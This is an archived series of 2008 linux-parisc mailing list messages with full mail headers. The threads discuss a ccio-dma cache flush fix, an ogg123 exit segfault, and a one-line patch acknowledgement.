In-Reply-To: <47D3EC43.3070101@scarlet.be>
X-Mailer: Evolution 2.12.3 (2.12.3-3.fc8) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:190
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/190>

On Sun, 2008-03-09 at 13:55 +0000, Joel Soete wrote:
> Hello Grant,
> 
> Always tracking this ccio-dma bug, I figure out this stuff could be helpfull:
> --- a/drivers/parisc/ccio-dma.c	2008-03-09 12:55:00.000000000 +0000
> +++ b/drivers/parisc/ccio-dma.c	2008-03-09 12:55:21.000000000 +0000
> @@ -802,7 +802,7 @@
>   			 * Hopefully someone figures out how to patch (NOP) the
>   			 * FDC/SYNC out at boot time.
>   			 */
> -			asm volatile("fdc %%r0(%0)" : : "r" (pdir_ptr[7]));
> +			asm volatile("fdc %%r0(%0)" : : "r" (pdir_ptr));

That's the wrong fix.  What it's trying to do is flush the write made
above this to pdir_ptr[7].  Therefore there should be an '&' in front,
so

asm volatile("fdc %%r0(%0)" : : "r" (&pdir_ptr[7]))

Flushing pdir_ptr may or may not work depending on the cache line width
(pdr_ptr[7] is 28 bytes away, so if the line size is 16 it will fail;
although I think almost every machine with a ccio has a 32 byte or
higher cache line width).

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Yet another ccio fix idea?
Date: Mon, 10 Mar 2008 16:37:12 -0400 (EDT)
Lines: 25
Approved: news@gmane.org
Message-ID: <20080310203713.3A93D4E4A@hiauly1.hia.nrc.ca>
References: <1205179187.2941.23.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1205181443 2218 80.91.229.12 (10 Mar 2008 20:37:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 10 Mar 2008 20:37:23 +0000 (UTC)
Cc: soete.joel@scarlet.be, grundler@parisc-linux.org,
	linux-parisc@vger.kernel.org, kyle@parisc-linux.org, matthew@wil.cx
To: James.Bottomley@HansenPartnership.com (James Bottomley)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 10 21:37:50 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JYoko-0001CY-0j
	for glpp-linux-parisc@gmane.org; Mon, 10 Mar 2008 21:37:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751420AbYCJUhP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 10 Mar 2008 16:37:15 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751464AbYCJUhP
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 10 Mar 2008 16:37:15 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3147 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751420AbYCJUhO (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 10 Mar 2008 16:37:14 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 3A93D4E4A; Mon, 10 Mar 2008 16:37:12 -0400 (EDT)
In-Reply-To: <1205179187.2941.23.camel@localhost.localdomain> from "James Bottomley" at Mar 10, 2008 02:59:47 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:191
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/191>

> asm volatile("fdc %%r0(%0)" : : "r" (&pdir_ptr[7]))
> 
> Flushing pdir_ptr may or may not work depending on the cache line width
> (pdr_ptr[7] is 28 bytes away, so if the line size is 16 it will fail;
> although I think almost every machine with a ccio has a 32 byte or
> higher cache line width).

Actually, pdr_ptr is a char *, so this is 7 bytes away.  However,
I think you are correct in saying that pdr_ptr[7] needs to be flushed.

The same issue would appear to apply to the other flush in the file.

The cache line alignment of pdir's isn't immediately apparent to
me.  If the pdir was defined as a two word array, it might span
two lines.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Segfault when ogg123 exits
Date: Mon, 10 Mar 2008 20:39:12 -0400
Lines: 29
Approved: news@gmane.org
Message-ID: <119aab440803101739l778c3220w9102f6d814839694@mail.gmail.com>
References: <20080305213128.GA27120@miranda.arrow>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1205195965 18229 80.91.229.12 (11 Mar 2008 00:39:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 11 Mar 2008 00:39:25 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: "Stuart Brady" <sdbrady@ntlworld.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 11 01:39:52 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JYsWy-00030M-Ib
	for glpp-linux-parisc@gmane.org; Tue, 11 Mar 2008 01:39:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751282AbYCKAjN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 10 Mar 2008 20:39:13 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751410AbYCKAjN
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 10 Mar 2008 20:39:13 -0400
Original-Received: from rv-out-0910.google.com ([209.85.198.184]:37573 "EHLO
	rv-out-0910.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751282AbYCKAjM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 10 Mar 2008 20:39:12 -0400
Original-Received: by rv-out-0910.google.com with SMTP id k20so1289018rvb.1
        for <linux-parisc@vger.kernel.org>; Mon, 10 Mar 2008 17:39:12 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        bh=Nfk+Vnqta6GhsjRgZBkcoLuGuge0kZADUOcvVkx/FqU=;
        b=IdVtc3oo6E5Tao0w5jqEvC7QILk11jHXOyYHMJhOkY5hqSn51IOS0DT0riFpa2WmR7arBnKGPdOlosM94XfffRH6pOnqNncClM/oyki72t4IyUvxMdQ/Z9WSJ09LDkv+mCyqKmO+dTJCvy7BCfcRN6MQyQHEQIL5VJFgJOljGTo=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        b=uWC+HyBKpy4F6o9hM3njhlpQed4NBfkf4n+CYDM9A/jR2s5vM/jntBzv/u0geHo9uRYc0Z1MJhU6g5WV5pI8V1mgC+7Utbjy5GZiCgWyoqGKlYQfN1QinI0WJpDCJqm5EEDtYzgegeXSvXgqy2oclSCsd0iNXZUtFWIGCz7jfMQ=
Original-Received: by 10.140.147.13 with SMTP id u13mr3716364rvd.228.1205195952336;
        Mon, 10 Mar 2008 17:39:12 -0700 (PDT)
Original-Received: by 10.141.98.3 with HTTP; Mon, 10 Mar 2008 17:39:12 -0700 (PDT)
In-Reply-To: <20080305213128.GA27120@miranda.arrow>
Content-Disposition: inline
X-Google-Sender-Auth: 78f9cea88d5e4d70
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:192
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/192>

On Wed, Mar 5, 2008 at 5:31 PM, Stuart Brady <sdbrady@ntlworld.com> wrote:
>  It seems ogg123 segfaults when it finishes playing.  Note that I'm not
>  pressing ^C -- I'm not even sure whether the "^C bug" is still around.
>  From the backtrace, it looks like this may well be the same problem I
>  reported with SDL_Quit() and timer_create():
>
>  #0  0x00000000 in ?? ()
>  #1  0x400a7aac in _dl_close_worker () from /lib/ld.so.1
>  #2  0x400a7c08 in _dl_close () from /lib/ld.so.1
>  #3  0x400190dc in dlclose_doit () from /lib/libdl.so.2
>  #4  0x400a1834 in _dl_catch_error () from /lib/ld.so.1
>  #5  0x40019590 in _dlerror_run () from /lib/libdl.so.2
>  #6  0x40019118 in dlclose () from /lib/libdl.so.2
>  #7  0x402f9ffc in ao_shutdown () from /usr/lib/libao.so.2
>  #8  0x40c57bd4 in exit () from /lib/libc.so.6
>  #9  0x000182fc in main ()
>
>  Would any glibc hackers feel like taking a closer look at this?

Can you distill this into a smaller testcase? Maybe a call to dlopen()
to load a library that has a function called by timer_create?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Segfault when ogg123 exits
Date: Tue, 11 Mar 2008 02:09:56 +0000
Lines: 20
Approved: news@gmane.org
Message-ID: <20080311020956.GA4155@miranda.arrow>
References: <20080305213128.GA27120@miranda.arrow> <119aab440803101739l778c3220w9102f6d814839694@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1205201734 32442 80.91.229.12 (11 Mar 2008 02:15:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 11 Mar 2008 02:15:34 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 11 03:16:01 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JYu24-0003IQ-T4
	for glpp-linux-parisc@gmane.org; Tue, 11 Mar 2008 03:16:01 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752180AbYCKCP0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 10 Mar 2008 22:15:26 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751752AbYCKCP0
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 10 Mar 2008 22:15:26 -0400
Original-Received: from queueout01-winn.ispmail.ntl.com ([81.103.221.31]:60247 "EHLO
	queueout01-winn.ispmail.ntl.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751450AbYCKCPZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 10 Mar 2008 22:15:25 -0400
Original-Received: from aamtaout01-winn.ispmail.ntl.com ([81.103.221.35])
          by mtaout01-winn.ispmail.ntl.com with ESMTP
          id <20080311021217.DXJR16169.mtaout01-winn.ispmail.ntl.com@aamtaout01-winn.ispmail.ntl.com>
          for <linux-parisc@vger.kernel.org>;
          Tue, 11 Mar 2008 02:12:17 +0000
Original-Received: from miranda.arrow ([213.107.26.151])
          by aamtaout01-winn.ispmail.ntl.com with ESMTP
          id <20080311021304.ZGNO219.aamtaout01-winn.ispmail.ntl.com@miranda.arrow>
          for <linux-parisc@vger.kernel.org>;
          Tue, 11 Mar 2008 02:13:04 +0000
Original-Received: from sdb by miranda.arrow with local (Exim 4.63)
	(envelope-from <sdbrady@ntlworld.com>)
	id 1JYtwC-00015V-PI
	for linux-parisc@vger.kernel.org; Tue, 11 Mar 2008 02:09:56 +0000
Content-Disposition: inline
In-Reply-To: <119aab440803101739l778c3220w9102f6d814839694@mail.gmail.com>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: sdbrady@ntlworld.com
X-SA-Exim-Scanned: No (on miranda.arrow); SAEximRunCond expanded to false
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:193
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/193>

On Mon, Mar 10, 2008 at 08:39:12PM -0400, Carlos O'Donell wrote:
> Can you distill this into a smaller testcase? Maybe a call to dlopen()
> to load a library that has a function called by timer_create?

I just ran ogg123 in gdb with a breakpoint set on timer_create(), and it
didn't get triggered, so timer_create() itself seems unlikely to be the
problem, but I can certainly try chopping libao down a bit.

BTW, this happens with both the OSS and ALSA plugins.

Side note: I've found that while running 'while (true); do true; done',
mmapped ALSA output seems to work!  If I drop the brackets, I just get 
noise -- presumably because it doesn't fork without them.
-- 
Stuart Brady
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] make ptr_to_pide() static
Date: Tue, 11 Mar 2008 16:00:17 -0400
Lines: 10
Approved: news@gmane.org
Message-ID: <20080311200016.GA17356@phobos.i.cabal.ca>
References: <20080310204320Z.tomof@acm.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1205265627 7115 80.91.229.12 (11 Mar 2008 20:00:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 11 Mar 2008 20:00:27 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, kyle@parisc-linux.org, tomof@acm.org
To: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 11 21:00:54 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JZAeb-000436-IP
	for glpp-linux-parisc@gmane.org; Tue, 11 Mar 2008 21:00:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752705AbYCKUAT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 11 Mar 2008 16:00:19 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752765AbYCKUAS
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 11 Mar 2008 16:00:18 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:56477 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752705AbYCKUAS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 11 Mar 2008 16:00:18 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 0DEA3178083; Tue, 11 Mar 2008 16:00:17 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20080310204320Z.tomof@acm.org>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:194
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/194>

On Mon, Mar 10, 2008 at 08:43:24PM +0900, FUJITA Tomonori wrote:
> Sorry, I should have made ptr_to_pide() static.
> 

np. ack.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] make ptr_to_pide() static
Date: Wed, 12 Mar 2008 08:06:33 +0900
Lines: 15
Approved: news@gmane.org
Message-ID: <20080312080633Z.fujita.tomonori@lab.ntt.co.jp>
References: <20080310204320Z.tomof@acm.org>
	<20080311200016.GA17356@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1205276900 14186 80.91.229.12 (11 Mar 2008 23:08:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 11 Mar 2008 23:08:20 +0000 (UTC)
Cc: fujita.tomonori@lab.ntt.co.jp, linux-parisc@vger.kernel.org,
	kyle@parisc-linux.org, tomof@acm.org
To: kyle@mcmartin.ca
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 12 00:08:45 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JZDaF-0005zG-CR
	for glpp-linux-parisc@gmane.org; Wed, 12 Mar 2008 00:08:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750870AbYCKXIA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 11 Mar 2008 19:08:00 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750921AbYCKXIA
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 11 Mar 2008 19:08:00 -0400
Original-Received: from tama50.ecl.ntt.co.jp ([129.60.39.147]:56882 "EHLO
	tama50.ecl.ntt.co.jp" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750863AbYCKXH7 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 11 Mar 2008 19:07:59 -0400
Original-Received: from mfs5.rdh.ecl.ntt.co.jp (mfs5.rdh.ecl.ntt.co.jp [129.60.39.144])
	by tama50.ecl.ntt.co.jp (8.14.2/8.14.2) with ESMTP id m2BN6vJs018614;
	Wed, 12 Mar 2008 08:06:57 +0900 (JST)
Original-Received: from mfs5.rdh.ecl.ntt.co.jp (localhost [127.0.0.1])
	by mfs5.rdh.ecl.ntt.co.jp (Postfix) with ESMTP id 92C1063EE;
	Wed, 12 Mar 2008 08:06:57 +0900 (JST)
Original-Received: from dmailsv1.y.ecl.ntt.co.jp (dmailsv1.y.ecl.ntt.co.jp [129.60.53.14])
	by mfs5.rdh.ecl.ntt.co.jp (Postfix) with ESMTP id 7313C63ED;
	Wed, 12 Mar 2008 08:06:57 +0900 (JST)
Original-Received: from mailsv04.y.ecl.ntt.co.jp
      by dmailsv1.y.ecl.ntt.co.jp (8.14.2/dmailsv1-2.0) with ESMTP id m2BN6viG023435;
        Wed, 12 Mar 2008 08:06:57 +0900 (JST)
Original-Received: from localhost
        by mailsv04.y.ecl.ntt.co.jp (8.14.1/Lab-1.7) with ESMTP id m2BN6vsE014433;
        Wed, 12 Mar 2008 08:06:57 +0900 (JST)
In-Reply-To: <20080311200016.GA17356@phobos.i.cabal.ca>
Original-Lines: 10
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:195
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/195>

On Tue, 11 Mar 2008 16:00:17 -0400
Kyle McMartin <kyle@mcmartin.ca> wrote:

> On Mon, Mar 10, 2008 at 08:43:24PM +0900, FUJITA Tomonori wrote:
> > Sorry, I should have made ptr_to_pide() static.
> > 
> 
> np. ack.

Thanks, can you please push this via your git tree?
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Segfault when ogg123 exits
Date: Tue, 11 Mar 2008 19:15:47 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <119aab440803111615i2903c5a1td814c3fd14ef56c6@mail.gmail.com>
References: <20080305213128.GA27120@miranda.arrow>
	 <119aab440803101739l778c3220w9102f6d814839694@mail.gmail.com>
	 <20080311020956.GA4155@miranda.arrow>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1205277365 15653 80.91.229.12 (11 Mar 2008 23:16:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 11 Mar 2008 23:16:05 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: "Stuart Brady" <sdbrady@ntlworld.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 12 00:16:32 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JZDhp-0000gR-Bm
	for glpp-linux-parisc@gmane.org; Wed, 12 Mar 2008 00:16:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750868AbYCKXPu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 11 Mar 2008 19:15:50 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750925AbYCKXPu
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 11 Mar 2008 19:15:50 -0400
Original-Received: from rv-out-0910.google.com ([209.85.198.191]:58706 "EHLO
	rv-out-0910.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750868AbYCKXPt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 11 Mar 2008 19:15:49 -0400
Original-Received: by rv-out-0910.google.com with SMTP id k20so1595142rvb.1
        for <linux-parisc@vger.kernel.org>; Tue, 11 Mar 2008 16:15:48 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        bh=Eg//KG/6/psDJ+Dnt88OwL9lWKelgXivomCMM38LyaU=;
        b=aaFR807QZG7SYMEMiJOwLVwGVnwgSzMVbtw1HjY3wuM9700dkAMd1arBPiXK4WzYDWq8340pNU0xKpKXeLt1e3nOS4OfOzkGLTkp3WbAJWYcUmgsvpvH4KKUNcw4KH3dhSYLIrxbovvHZAgcj26xvpOOtAoDO/NRNX1La6/IvY4=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        b=d1mVQeX543g62T74a56hK5Te2xrDKoCDEbwpR6hmy6ey6TD0rz4Kh4cFBQp32pq1VZCXcsptqsuoZlX1qMGaOJMjJEgtzmwh70dsW/tB4bXVwOh/KBzw61mq8yJ85pre4nZbsya6yz2ilsezaeQST/qpFe75Ee5YS4bYgACmvvw=
Original-Received: by 10.141.170.10 with SMTP id x10mr4877656rvo.92.1205277348325;
        Tue, 11 Mar 2008 16:15:48 -0700 (PDT)
Original-Received: by 10.141.98.3 with HTTP; Tue, 11 Mar 2008 16:15:47 -0700 (PDT)
In-Reply-To: <20080311020956.GA4155@miranda.arrow>
Content-Disposition: inline
X-Google-Sender-Auth: b750c879690a221e
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:196
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/196>

On Mon, Mar 10, 2008 at 10:09 PM, Stuart Brady <sdbrady@ntlworld.com> wrote:
>  I just ran ogg123 in gdb with a breakpoint set on timer_create(), and it
>  didn't get triggered, so timer_create() itself seems unlikely to be the
>  problem, but I can certainly try chopping libao down a bit.

Excellent, this is exactly the way you want to track this down. You
may wish to run strace to see what types of system calls the program
is making.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "rubisher" <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Yet another ccio fix idea?
Date: Wed, 12 Mar 2008 10:16:29 +0100
Lines: 110
Approved: news@gmane.org
Message-ID: <JXM1RH$256C92C0CB28292D8C30F2A8EBC987EF@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1205313483 4646 80.91.229.12 (12 Mar 2008 09:18:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Mar 2008 09:18:03 +0000 (UTC)
Cc: "James\.Bottomley" <James.Bottomley@HansenPartnership.com>,
	"soete\.joel" <soete.joel@scarlet.be>,
	"grundler" <grundler@parisc-linux.org>,
	"linux-parisc" <linux-parisc@vger.kernel.org>,
	"kyle" <kyle@parisc-linux.org>, "matthew" <matthew@wil.cx>,
	"rubisher" <rubisher@scarlet.be>
To: "dave" <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 12 10:18:29 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JZN6O-0006f1-Au
	for glpp-linux-parisc@gmane.org; Wed, 12 Mar 2008 10:18:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751130AbYCLJRt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 12 Mar 2008 05:17:49 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750965AbYCLJRt
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 12 Mar 2008 05:17:49 -0400
Original-Received: from hel.is.scarlet.be ([193.74.71.26]:47890 "EHLO hel.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750765AbYCLJRr convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 12 Mar 2008 05:17:47 -0400
Original-Received: from scarlet.be (fuji.is.scarlet.be [193.74.71.41])
	by hel.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m2C9GTFa020271;
	Wed, 12 Mar 2008 10:16:30 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
